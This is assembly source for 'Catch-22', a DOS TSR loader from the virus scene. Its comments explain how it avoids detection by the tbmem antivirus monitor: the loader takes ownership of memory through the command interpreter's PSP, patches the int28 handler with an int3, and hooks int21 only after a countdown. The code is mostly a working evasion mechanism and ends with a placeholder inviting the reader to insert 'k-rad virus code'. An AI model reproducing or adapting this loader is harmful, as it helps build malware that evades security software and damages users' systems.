; Catch-22, a TSR loader by Rhincewind [Vlad] ; ; This is probably the most experimental thing I've done so far. In this ; loader I've combined a few things I learned about tbmem into a pretty ; neat loader that the current version of tbmem will not detect. ; ; The highloader is pretty straightforward, although it does use one ; trick I found. It traces the PSP chain all the way back to the command ; interpreter, then makes that PSP active before a block is allocated for ; the loader. This so-called 'context switching' will make the newly ; allocated block property of your command interpreter, ensuring it's ; lasting residency. Down with direct MCB twiddling! ; ; Now tbmem comes into play. First, two facts: ; ; Fact 1 - Tbmem detects residency on vectorchanges only. It can't be ; bothered to look at the memory itself. ; Fact 2 - Tbmem does not flag on intel reserved registers being hooked. ; ; For starters the loader will hook int3, thereby not alerting tbmem as ; above. The first byte of the int28 handler, which is an IRET in the ; original handler, will be overwritten ; with an int3. Now, as you probably know, only the command ; interpreter calls int28 (Okay, so do Terminate and a handful of other ; programs, watch out for those) which is redirected to our routine. ; We managed to get a routine active around tbmem! Hurray! Now, the int3 ; handler will countdown 75 times, 13 is the minimum btw, to make sure ; that we're back in command mode, that is, out of the dos deallocation ; routines before we hook int21, which again, will elude tbmem. Both int28 ; and int3 are restored and we're done with our loader. .model tiny .code org 100h parasize equ (endloader-start) start: mov ax, 'TB' int 21h cmp ax, 'AV' jz exit_tsr mov ah, 4ah mov bx,-1 push ax int 21h pop ax sub bx, parasize+2 int 21h xor si,si nextpsp: cmp bx, word ptr ds:[si+16h] mov bx, word ptr ds:[si+16h] mov ds,bx jnz nextpsp found_cmd: mov ah, 50h int 21h mov ah, 48h mov bx,parasize+1 int 21h mov es,ax mov ah, 50h mov bx,cs int 21h push cs pop ds mov si, 100h xor di,di mov cx, endloader-start rep movsb mov ds,cx mov si, 3*4 movsw movsw cli mov word ptr [si-4],offset install_21-100h mov word ptr [si-2],es sti mov si, 28h*4 movsw movsw mov ax,75h stosw mov word ptr es:[di],75h lds bx, dword ptr ds:[si-4] mov al, 0cch xchg byte ptr ds:[bx],al stosb ;Restore all registers here, including DS&ES exit_tsr: int 20h install_21: dec word ptr cs:counter-100h jnz exit_int3 push ax push di push ds push es xor ax,ax mov ds,ax les di, dword ptr cs:int2offset-100h mov al, byte ptr cs:orgbyte-100h stosb cli les di, dword ptr cs:intoffset-100h mov word ptr ds:[0ch],di mov word ptr ds:[0eh],es mov ax,offset int21-100h xchg ax, word ptr ds:[84h] mov cs:intoffset-100h,ax mov ax,cs xchg ax, word ptr ds:[86h] mov cs:intseg-100h,ax sti pop es pop ds pop di pop ax exit_int3: add sp,6 iret ;Replace the handler below with your k-rad virus code. int21: cmp ax,'TB' jnz return_int mov ax, 'AV' iret return_int: jmp dword ptr cs:intoffset-100h endloader: intoffset dw ? intseg dw ? int2offset dw ? int2seg dw ? counter dw ? orgbyte db ? end start